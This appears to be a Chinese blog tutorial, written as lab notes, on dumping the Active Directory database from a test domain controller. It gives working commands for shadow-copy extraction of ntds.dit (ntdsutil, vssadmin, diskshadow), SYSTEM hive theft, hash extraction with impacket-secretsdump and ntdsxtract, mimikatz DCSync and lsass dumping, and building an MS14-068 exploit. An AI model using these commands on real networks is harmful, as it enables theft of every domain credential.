首页 > 其他分享 >内网域控制器安全

内网域控制器安全

时间:2023-10-05 19:44:43浏览次数:34  
标签:exe 域控制器 windows ntds 安全 REM dit com

内网域控制器安全

环境搭建

https://www.cnblogs.com/thebeastofwar/p/17688666.html

前言

在通常情况下,即使用友管理员权限也无法读取域控制器中的C:\Windows\NTDS\ntds.dit
文件,ntds.dit是个二进制文件,包含了很多敏感信息,包含(但不限于)用户名,散列值,组,
GPP,OU等与活动目录相关的信息。它和SAM文件一样,是被windows操作系统锁定的

利用卷影拷贝服务提取ntds.dit

1.ntdsutil.exe(默认安装在域控制器上,支持windows server 2003,windows server 2008,windows server 2012)
在域控制器(windows2012)中输入以下命令,创建一个快照,该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的限制

ntdsutil snapshot "activate instance ntds" create quit quit


看到创建了一个快照
接下来,加载刚刚创建的快照

ntdsutil snapshot "mount {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" quit quit


然后将快照中的文件复制出来

mkdir C:\temp
copy C:\$SNAP_202310041424_volumec$\windows\ntds\ntds.dit C:\temp\ntds.dit


然后删掉快照

ntdsutil snapshot "unmount {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" "delete {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" quit quit


再次查询当前系统中的所有快照,显示没有任何快照

ntdsutil snapshot "List All" quit quit


2.vssadmin
和ntdsutil利用方式差不多
创建一个C盘的卷影拷贝

vssadmin create shadow /for=c:


然后将卷影中的ntds.dit复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit2


然后删除快照

vssadmin delete shadows /for=c: /quiet


3.vssown.vbs
下载https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
保存为vssown.vbs
然后利用这个方法放进没有vmtools且网络隔离的windows2012
https://www.cnblogs.com/thebeastofwar/p/17691274.html
启动卷影拷贝服务

cscript vssown.vbs /start


创建一个C盘的卷影拷贝

cscript vssown.vbs /create c


列出当前卷影拷贝

cscript vssown.vbs /list


复制出ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit C:\temp\ntds.dit3


然后删除卷影拷贝

cscript vssown.vbs /delete {870D2FE7-6138-484F-98BB-58D313004A0C}


4.ntdsutil的IFM

ntdsutil "ac i ntds" "ifm" "create full c:/test2" quit quit


然后就可以复制出ntds.dit

cd c:/test2
cd A*
copy ntds.dit c:/temp/ntds.dit4
cd ..
cd registry
copy SYSTEM c:/temp/SYSTEM

5.diskshadow
注意不能用echo往command.txt写,得直接打开command.txt写
exec c:\windows\system32\calc.exe

diskshadow /s c:\command.txt


然后在command.txt中写入(无//后的内容)

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
//删除所以的快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit


然后

cd c:\windows\system32
diskshadow c:\command.txt


避坑:

解决:在利用https://www.cnblogs.com/thebeastofwar/p/17691274.html
向虚拟机里传文件时候不用写//和//后的内容
然后再将system.hive转储,因为system.hive中存放着ntds.dit的密钥,没有的话会无法查看ntds.dit中的信息

reg save hklm\system c:\system.hive


然后利用此方法将文件从虚拟机中导出来
https://www.cnblogs.com/thebeastofwar/p/17691274.html
目前我们有ntds.dit,system.hive,SYSTEM

导出ntds.dit中的散列值

1.esedbexport
1)导出ntds.dit
下载 libesedb https://github.com/libyal/libesedb/releases
kali下载依赖

apt install autoconf automake autopoint libtool pkg-config -y

然后执行

./configure
make && make install && ldconfig

然后提取ntds.dit

esedbexport -m tables ntds.dit


2)导出散列值
下载 https://github.com/csababarta/ntdsxtract
安装

python2 setup.py build && python2 setup.py install

将ntds.export,dit和SYSTEM放在当前目录
注意根据datatable.x和link_table.x改变参数

python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt


ntds.dit包含域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息以及其他信息

python2 dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv


2.impacket
下载 https://github.com/fortra/impacket
安装

python2 setup.py install

本地列出散列值

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL


远程hash传递列出散列值

impacket-secretsdump -hashes xxx -just-dc domain/user@ip

3.NTDSDumpex.exe(失败)
下载 https://github.com/zcgonvh/NTDSDumpEx/releases
执行

NTDSDumpex.exe -d ntds.dit -s system

利用dcsync获取域散列值

1)把mimikatz.exe传送到域控制器,然后执行(不建议,因为得考虑免杀)

mimikatz.exe "log" "lsadump::dcsync /domain:hacker.testlab /all /csv" exit


还可以单独导出一个用户的

mimikatz.exe "log" "lsadump::dcsync /domain:hacker.testlab /user:Administrator" exit

或者在域控制器中通过转储lsass.exe进程对散列值进行dump操作

mimikatz.exe "log" "privilege::debug" "lsadump::lsa /inject" exit


避坑:
以下这种方法是只能导出本机的散列值,但是我们想要整个域的散列值
利用procdump.exe导出lsass.dmp然后传回攻击机内利用mimikatz进行散列值dump操作
将procdump.exe上传到域控制器内

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后再攻击机内执行

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

发现只有本机的散列值

2)Invoke-DCSync.ps1
下载 https://gist.github.com/monoxgas/9d238accd969550136db

powershell -exec bypass -Command Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat

不知为啥还是只导出本地的散列值

使用msf

1.psexec_ntdsgrab(无会话)
2.domain_hashdump(有会话)

使用vshadow.exe和QuarksPwDump.exe(复现失败)

vshadow.exe下载
链接:https://pan.baidu.com/s/1ssXIjvqrZZqT9uk-yeVqfg?pwd=xebu
提取码:xebu

QuarksPwDump.exe下载 https://github.com/tuthimi/quarkspwdump/blob/master/Release/QuarksPwDump.exe

ShadowCopy.bat 代码

setlocal
@REM test if we are called by VSHADOW
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
@REM
@REM Get the source and destination path
@REM
set SOURCE_DRIVE_LETTER=%~d1
set SOURCE_RELATIVE_PATH=%~pnx1
set DESTINATION_PATH=%2
@REM
@REM Create the shadow copy - and generate env variables into a temporary script.
@REM 
@REM Then, while the shadow is still live
@REM recursively execute the same script.
@REM
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
%~dp0\vshadow.exe -script=%TEMP_GENERATED_SCRIPT% -exec=%CALLBACK_SCRIPT% %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@REM
@REM This generated script should set the SHADOW_DEVICE_1 env variable
@REM
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@REM
@REM This should copy the file to the right location
@REM
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

Kerberos域用户提权漏洞分析和防范(未完)

1.PyKEK工具包
下载 https://github.com/mubix/pykek
windows下

pip2 install pyinstaller==3.2.1 -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com

然后再script目录下将pyinstaller.exe改为pyinstall2.exe
然后打包

pyinstaller2 --onedir --clean ms14-068.py

然后再build目录下会产生ms14-068.exe文件

标签:exe,域控制器,windows,ntds,安全,REM,dit,com
From: https://www.cnblogs.com/thebeastofwar/p/17731463.html

相关文章

  • ArrayList的线程安全问题简述,以及如何优化
    问题:创建一个ArrayList,然后创建两个线程,每个线程for循环1000次向公共的List里面添加数据,在一个线程读取List当前的大小之后,另一个线程可能已经对List进行了修改。这样就可能导致数据的不一致性,例如一个线程读取到的List大小已经被另一个线程修改了,因此,在这个案例中,最终的列表大小......
  • 2023-2024-1 20211319《信息安全专业导论》第二周学习总结
    2021-2022-120211408《信息安全专业导论》第周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2023-2024-1-计算机基础与程序设计)这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标<写上具体方面>作业正文.........
  • 信息安全系统设计与实现课程第十一章学习笔记
    一、知识点归纳1.EXT2文件系统多年来,Linux一直使用EXT2(Card等1995)作为默认文件系统。EXT3(EXT3,2014)是EXT2的扩展。EXT3中增加的主要内容是一个日志文件,它将文件系统的变更记录在日志中°日志可在文件系统崩溃时更快地从错误中恢复。没有错误的EXT3文件系统与EXT2文件系......
  • 移动端应用安全加固
    Android移动应用安全加固致力于成为业界移动应用安全专家,为移动数据安全保驾护航!安全加固刻不容缓目前移动领域已经出现了相当部分的安全问题,新的恶意软件层出不穷,同时,企业对敏感数据保密性意识日益提高,作为移动开发者,有责任对最终用户的隐私和安全承担更多责任。另一方面,APP被篡......
  • 视频汇聚 / 视频监控平台 EasyCVR 建立果园智能监控系统,助力果园安全生产
    随着农村经济的发展,人们开始大量种植水果等经济作物。然而,在一些偏远山村,由于果园面积较大且周边开放,每到收获季节,水果的安全成为最关注的问题。传统的方式修建围墙和护栏无法避免被偷窃或破坏。农场主雇佣人员值守,不仅成本高,而且无法24小时全天候进行值守,并且缺少有效的镇压手段,......
  • 如何回答线程安全
    前言在面试过程中,很多的面试官都喜欢开局先来一个说一下你对线程安全的认识。这个问题呢广度挺大的,不同人理解不同,回答不同。如果不能好好的接下这一招,那么面试官就可能对你们后面的期待大大减小。秋招在即,根据个人的见解和所查资料,对这一招进行拆招。(不一定是好招,仅为个人总结......
  • 软件安全复习材料自用版本
    名词解释SQ:软件质量SQA:软件质量保证SA:软件保障SDS:软件定义安全VPN:虚拟专用网0day漏洞:已被发现但是官方还没有补丁的漏洞1day漏洞:官方发布补丁后大部分用户还未打补丁时的漏洞,仍然具有可利用性历史漏洞:距离补丁发布日期遥远且可利用性不高的漏洞CVSS:通用漏洞评分系统CVE:通用漏洞和......
  • 什么是 security ReDoS 安全漏洞
    securityReDoS漏洞,全称"SecurityRegularExpressionDenialofService",是一种涉及到正则表达式的安全漏洞,可以导致严重的性能问题和拒绝服务攻击。正则表达式是一种用于匹配文本模式的强大工具,但如果不正确使用,可能会导致恶意输入数据引发的性能问题。在本文中,我将详细介绍secu......
  • 岩土工程安全监测利器:振弦采集仪的发展
    岩土工程安全监测利器:振弦采集仪的发展岩土工程安全监测是保障建筑物、地下工程和地质环境安全稳定运行的重要手段。传统上,监测手段主要依靠人工巡视以及基础设施安装的传感器,但是这些方法都存在着缺陷。人工巡视存在的问题是数据采集精度低、数据量小、数据更新周期长,而传感器安装......
  • 振弦采集仪应用地铁隧道安全监测详细解决方案
    振弦采集仪应用地铁隧道安全监测详细解决方案随着城市化进程的不断加快,地铁作为一种高效、便捷、环保的交通方式已经成为现代城市不可或缺的一部分。因此,对地铁的安全性也越来越重视,一般二三线以上的城市在不断发展中,地铁做为公共交通,越来越发挥其方便快捷的运输能力。尤其在地铁隧......